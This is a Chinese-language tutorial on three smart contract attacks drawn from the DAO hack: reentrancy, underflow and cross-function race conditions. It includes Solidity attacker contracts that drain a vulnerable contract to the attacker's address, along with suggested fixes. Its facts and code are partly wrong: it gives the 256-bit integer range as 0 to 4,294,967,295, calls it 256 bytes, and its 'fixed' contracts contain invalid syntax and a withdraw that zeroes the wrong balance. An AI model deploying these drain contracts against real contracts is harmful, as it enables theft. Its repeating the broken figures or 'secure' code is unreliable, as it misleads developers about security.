如果你在數字貨幣世界待過足夠時間，也許你聽說過1或2個智能合約攻擊事件，這些攻擊導致了幾千萬美元的盜竊損失。最著名的攻擊是DAO事件，這是數字貨幣世界最受期待的項目之一，同時也是智能合約的改革。雖然很多人聽說過這些攻擊，但是很少人知道到底發生了什麼，是怎麼發生的，以及如何避免這些錯誤。
智能合約是動態的，複雜的以及難以置信地強大。雖然他們的潛力是很難想象，但是也不可能一夜之間就成為了攻擊的對象。也就是說，對於往後的數字貨幣，我們可以從之前的錯誤中學到經驗，然後一起成長。雖然DAO是已經發生的事情，但是這對於開發者，投資者，以及社區成員對於智能合約攻擊來說，都是一個很好的例子。
今天，我想和大家聊聊從DAO事件中，我們學到的3件事。
攻擊#1：重入攻擊
當攻擊者通過對目標調用提款操作的時候，重入攻擊就會發生，就好像DAO事件一樣。當合約不能在發出資金之前更新狀態（用戶餘額），攻擊者就可以連續進行提取函數調用，來獲得合約中的資金。任何時候攻擊者獲得以太幣，他的合約都會自動地調用反饋函數，function ()，這就再次調用了提現合約。這時候，攻擊就會進入遞歸回路，這時候這個合約中的資金就會轉入攻擊者。因為目標合約都在不停地調用攻擊者的函數，這個合約也不會更新攻擊者的餘額。當前的合約不會發現有任何問題，更清楚地說，合約函數中包含反饋函數，當合約收到以太幣和零數據的時候，合約函數就會自動執行。
攻擊流程
1.攻擊者將以太幣存入目標函數
2.目標函數就會根據存入的以太幣而更新攻擊者的約
3.攻擊者請求拿回資金
4.資金就會退回
5.攻擊者的反饋函數生效，然後調用提現功能
6.智能合約的邏輯就會更新攻擊者的餘額，因為提現又被成功調用
7.資金髮送到攻擊者
8.第5-7步重複使用
9.一旦攻擊結束，攻擊者就會把資金從他們自己的合約發送到個人地址
重入攻擊的遞歸回路
很不幸地是，一旦這個攻擊開始，無法停下。攻擊者的提現功能會被一次次地調用，直到合約中的燃料跑完，或者被害者的以太幣餘額被消耗光。
代碼
下面就是DAO合約的簡單版本，其中會包括一些介紹來為這些不熟悉代碼/ solidity語言更好地理解合約。
contract babyDAO {
/* assign key/value pair so we can look up
credit integers with an ETH address */
mapping (address => uint256) public credit;
/* a function for funds to be added to the contract,
sender will be credited amount sent */
function donate(address to) payable {
credit[msg.sender] += msg.value;
}
/*show ether credited to address*/
function assignedCredit(address) returns (uint) {
return credit[msg.sender];
}
/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
msg.sender.call.value(amount)();
credit[msg.sender] -= amount;
}
}
}
如果我們看下函數withdraw()，我們可以看到DAO合約使用address.call.value()來發送資金到msg.sender。不僅如此，在資金髮出後，合約會更新credit[msg.sender]的狀態。攻擊者在發現了合約代碼中的問題，就能夠使用類似下面的ThisIsAHodlUp {}來將資金轉入contract babyDAO{}合約。
import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {
/* assign babyDAO contract as "dao" */
babyDAO public dao = babyDAO(0x2ae...);
address owner;
/*assign contract creator as owner*/
constructor(ThisIsAHodlUp) public {
owner = msg.sender;
}
/*fallback function, withdraws funds from babyDAO*/
function() public {
dao.withdraw(dao.assignedCredit(this));
}
/*send drained funds to attacker’s address*/
function drainFunds() payable public{
owner.transfer(address(this).balance);
}
}
需要注意地是，這個後退函數，function()，會調用DAO或者babyDAO{}的提現函數，來從合約中盜取資金。從另個方面來說，當攻擊者想要把所有偷竊來的資金賺到他們的地址，drainFunds()功能會被調用。
解決方案
現在，我們應該清楚重放攻擊會利用兩個特別的智能合約漏洞。第一個是當合約的狀態在資金髮出之後，而不是之前進行更新。由於在發出資金前無法更新合約狀態，函數就會在中間計算的時候被打斷，合約也認為資金其實還沒有發出。第二個漏洞就當合約錯誤地使用address.call.value()來發出資金，而不是address.transfer() 或者 address.send()。這兩個都受限於2300gas，只記錄一個事件而不是多個外部調用。
contract babyDAO{
....
function withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
credit[msg.sender] -= amount; /* updates balance first */
msg.sender.send(amount)(); /* send funds properly */
}
}
攻擊2：下溢攻擊
雖然DAO合約不會讓受害者掉入下溢攻擊，我們能夠通過現有的babyDAO contract{}來更好地理解這些攻擊為什麼會發生。
首先，我們需要理解什麼是256單位制。一個256單位制是由256個字節組成。以太坊的虛擬機是使用256字節來完成的。因為以太坊虛擬機受限於256字節的大小，所以數字的範圍是0到4,294,967,295 (2²⁵⁶)。如果我們超過這個範圍，那麼數字就會重置到範圍的最底部（2²⁵⁶ + 1 = 0）。如果我們低於這個範圍，這個數字就會重置到這個範圍的頂端（0–1= 2²⁵⁶）。
當我們從零中減去大於零的數，就會發生下溢攻擊，導致一個新的2²⁵⁶數集。現在，如果攻擊者的餘額發生了下溢，那麼這部分餘額就會更新，從而導致整個資金被盜。
攻擊流程
- 攻擊者通過發出1Wei到目標合約，來啟動攻擊。
- 合約認證發出資金的人
- 隨後調用1Wei的提現函數
- 合約會從發送者的賬戶扣除的1Wei，現在賬戶餘額又是零
- 因為目標合約將以太幣發給攻擊者，攻擊者的退回函數被處罰，所以提現函數又被調用。
- 提現1Wei的事件被記錄
- 攻擊者合約的餘額就會更新兩次，第一次是到零，第二次是到-1。
- 攻擊者的餘額回置到2²⁵⁶
- 攻擊者通過提現目標合約的所有資金，從而完成整個攻擊
代碼
/*donate 1 wei, withdraw 1 wei*/
function attack() {
dao.donate.value(1)(this);
dao.withdraw(1);
}
/*fallback function, results in 0–1 = 2**256 */
function() {
if (performAttack) {
performAttack = false;
dao.withdraw(1);
}
}
/*extract balance from smart contract*/
function getJackpot() {
dao.withdraw(dao.balance);
owner.send(this.balance);
}
}
解決方案
為了防止受害人陷入下溢攻擊，最好的方法是看更新的狀態是否在字節範圍內。我們可以添加參數來檢查我們的代碼，作為最後一層保護。函數withdraw()的首行代碼是為了檢查是否有足夠的資金，第二行是為了檢查超溢，第三個是檢查下溢。
contract babysDAO{
....
/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] >= amount
&& credit[msg.sender] + amount >= credit[msg.sender]
&& credit[msg.sender] - amount <= credit[msg.sender]) {
credit[msg.sender] -= amount;
msg.sender.send(amount)();
}
}
需要注意，就像我們之前討論，我們上面的代碼是在發出資金之前更新用戶的餘額。
攻擊#3：跨函數競爭條件
最後要說的，就是跨函數競爭攻擊。就像在重放攻擊中所說，DAO合約不能正確的更新合約狀態，並且可以讓資金被盜竊。DAO問題和外部調用中的部分原因是跨函數競爭條件攻擊的潛在原因。雖然以太坊中所有的轉賬是線性發生(一個在另一個後面), 外部調用（另一個合約或者地址的調用）如果沒有被合理管理，就會成為災難的導火線。在現實世界中，他們是完全可以避免的。當兩個函數被調用並且分享同個狀態，跨函數競爭條件攻擊就會發生。這個合約就會想到，現在有兩個合約狀態存在，但是現實是隻有一個真正的合約狀態存在。我們不能同時獲得X = 3和X = 4這兩種結果。 讓我們用一個例子來說明這個內容。
攻擊和代碼
contract crossFunctionRace{
mapping (address => uint) private userBalances;
/* uses userBalances to transfer funds */
function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
/* uses userBalances to withdraw funds */
function withdrawalBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.send(amountToWithdraw)());
userBalances[msg.sender] = 0;
}
}
上面的合約有2個功能 – 一個是可以轉移資金，另一個是提現資金。我們假設攻擊者調用了函數transfer()，然後同時使用外部調用函數withdrawalBalance()。userBalance[msg.sender]的狀態通過2個不同的方向被抽出。用戶的餘額還沒有被設為0，但是儘管資金已經被提取，攻擊者也能夠轉移資金。這樣情況下，合約可以讓攻擊者使用雙花，這也是區塊鏈技術想要解決的問題之一。
注意：如果有函數分享狀態，跨函數競爭條件攻擊就會在多個合約中發生。
-在調用外部函數之前，應該完成所有的內部工作
-避免發生外部調用
-在不可避免地時候，使用外部函數“不可信”
-在外部調用不可避免的情況下，使用互斥
根據下面的合約，我們可以看到一個例子1) 在完成外部調用之前，完成內部工作。2）將所有外部調用都設為“不可信”。我們的合約會讓資金髮送到一個地址，並且允許用戶一次性將資金存入合同。
contract crossFunctionRace{
mapping (address => uint) private userBalances;
mapping (address => uint) private reward;
mapping (address => bool) private claimedReward;
//makes external call, need to mark as untrusted
function untrustedWithdraw(address recipient) public {
uint amountWithdraw = userBalances[recipient];
reward[recipient] = 0;
require(recipient.call.value(amountWithdraw)());
}
//untrusted because withdraw is called, an external call
function untrustedGetReward(address recipient) public {
//check that reward hasn’t already been claimed
require(!claimedReward[recipient]);
//internal work first (claimedReward and assigning reward)
claimedReward = true;
reward[recipient] += 100;
untrustedWithdraw(recipient);
}
}
我們可以看出，這個合約的首個函數在發送資金到用戶的合約/地址的時候，就會發生外部調用。同樣地，獎勵函數在發送一次性獎勵的時候，也會使用提現函數，因為這也是不可信的。同樣重要地是，合約需要執行所有內部工作。就好像重入攻擊，函數untrustedGetReward()會在允許提現之前，讓用戶獲得一次性的獎勵，從而防止跨函數競爭條件攻擊。
在真實世界，智能合約不需要依賴於外部調用。事實上，外部調用在很多情況下，在工作環境中都幾乎不可能發生的。由於這個原因，使用互斥體來“鎖定”一些狀態，並且讓擁有者有能力去改變狀態，可以幫助防止這類災難。雖然互斥體非常有效，但是當用於多個合約的時候，都會變的很棘手。如果你使用互斥體來防止這類攻擊，你需要很仔細地確保沒有其他方法來鎖定，或者永遠不會釋放。如果使用互斥體的方法，在寫入智能合約的時候，你需要保證你完全理解潛在的危險。
contract mutexExample{
mapping (address => uint) private balances;
bool private lockBalances;
function deposit() payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances);
/*lock, execute, unlock */
lockBalances = true;
balances[msg.sender] += msg.value;
lockBalances = false;
return true;
}
function withdraw(uint amount) payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances && amount > 0 && balances[msg.sender]
>= amount);
/*lock, execute, unlock*/
lockBalances = true;
if (msg.sender.call(amount)()) {
balances[msg.sender] -= amount;
}
lockBalances = false;
return true;
}
}
以上，我們可以看到合約mutexExample()會有私人鎖定狀態，來實行deposit()函數功能和withdraw()函數。鎖定會防止用戶能夠在所有的初步調用完成之前，成功完成withdraw()調用，可以防止任何種類的跨函數競爭條件攻擊。
最後的結果
力量越大，責任越大。雖然區塊鏈和智能合約技術每天都在革新，但是風險依然很高。攻擊者從沒有放棄去尋找機會來攻擊這些合約。這取決於我們來保證，我們可以從之前項目的問題中學習經驗，來讓我們獲得成長。希望通過這篇文章，以及其他系列文章，你
閱讀更多 幣圈牛人傑 的文章
